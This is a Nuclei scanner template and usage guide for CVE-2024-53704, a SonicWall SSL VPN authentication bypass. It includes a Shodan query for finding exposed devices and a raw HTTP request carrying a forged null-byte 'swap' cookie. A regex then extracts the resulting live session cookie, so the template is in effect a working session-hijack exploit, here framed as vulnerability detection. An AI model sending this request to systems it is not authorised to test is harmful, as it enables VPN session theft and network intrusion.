SSL VPN Session Hijacking

ID: CVE-2024-53704

Severity: critical

Author: johnk3r

Tags: cve,cve2024,sonicwall,kev

Description

An Improper Authentication vulnerability in the SSLVPN authentication mechanism allows a remote attacker to bypass authentication.

YAML Source

id: CVE-2024-53704

info:
  name: SSL VPN Session Hijacking
  author: johnk3r
  severity: critical
  description: |
    An Improper Authentication vulnerability in the SSLVPN authentication mechanism allows a remote attacker to bypass authentication.
  reference:
    - https://bishopfox.com/blog/sonicwall-cve-2024-53704-ssl-vpn-session-hijacking
    - https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2025-0003
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-53704
    cwe-id: CWE-287
    epss-score: 0.00043
    epss-percentile: 0.1146
  metadata:
    verified: true
    max-request: 1
    shodan-query: "http.html_hash:-1466805544"
  tags: cve,cve2024,sonicwall,kev

http:
  - raw:
      - |
        GET /cgi-bin/sslvpnclient?launchplatform= HTTP/1.1
        Host: {{Hostname}}
        Cookie: swap=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=
        Connection: close

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "NELaunchX1"

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        part: header
        regex:
          - 'Set-Cookie: swap=([a-zA-Z0-9]+);'
# digest: 4b0a00483046022100879d397a6026d446ebd2681d1f8c899486852db6500415b2ab3d3452cb32f71b022100a738b046b7663c78121478de2b7a0a596e99672c211a7821441cf87a1706cf46:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2024/CVE-2024-53704.yaml"

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